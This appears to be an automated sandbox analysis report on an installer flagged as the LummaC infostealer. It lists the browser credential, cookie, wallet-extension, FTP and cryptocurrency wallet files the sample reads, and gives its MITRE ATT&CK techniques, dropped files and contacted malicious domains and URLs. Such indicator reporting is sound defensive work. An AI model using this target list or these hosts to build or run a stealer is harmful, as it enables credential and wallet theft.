Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1934530568.0000000000753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1983684456.000000000075C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Full_Setup.exe PID: 7488, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	221 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	221 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	23 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Full_Setup.exe	21%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe	16%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KAKC1.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-U34UV.tmp\_isetup\_setup64.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://klipvumisui.shop/int_clp_sha.txtcoded8	0%	Avira URL Cloud	safe
https://klipvumisui.shop/	0%	Avira URL Cloud	safe
http://www.epubor.comJ	0%	Avira URL Cloud	safe
https://invinciblepol.click/s	0%	Avira URL Cloud	safe
https://invinciblepol.click/apix	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt	100%	Avira URL Cloud	malware
https://dfgh.online/invoker.php?compName=	0%	Avira URL Cloud	safe
https://invinciblepol.click/jh	0%	Avira URL Cloud	safe
https://invinciblepol.click/api	0%	Avira URL Cloud	safe
https://invinciblepol.click/	0%	Avira URL Cloud	safe
https://invinciblepol.click/apiT	0%	Avira URL Cloud	safe
https://invinciblepol.click/pi	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	unknown
invinciblepol.click	172.67.204.41	true	true	unknown
klipvumisui.shop	104.21.37.128	true	false	unknown
dfgh.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cegu.shop/8574262446/ph.txt	false	Avira URL Cloud: malware	unknown
https://invinciblepol.click/api	true	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txt	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Full_Setup.exe, 00000000.00000003.1883681309.00000000031FB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.1883784347.00000000031F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	Full_Setup.exe, 00000000.00000003.2141527646.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2132441779.0000000003BEB000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2133771243.0000000003A6B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2139790458.0000000003B7F000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2127512848.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137745591.0000000003B66000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137000850.0000000003B60000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2141421050.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2127295748.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2132056185.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135580983.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134978125.0000000003B47000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2141746895.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135324584.0000000003B4E000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2138043320.0000000003C7D000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134631182.0000000003B4E000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2137843821.0000000003A62000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2135406925.0000000003A62000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2134717175.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2139691635.0000000003A60000.00000004.00000800.00020000.00000000.sdmp, Full_Setup.exe, 00000000.00000003.2131795977.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp	false		high
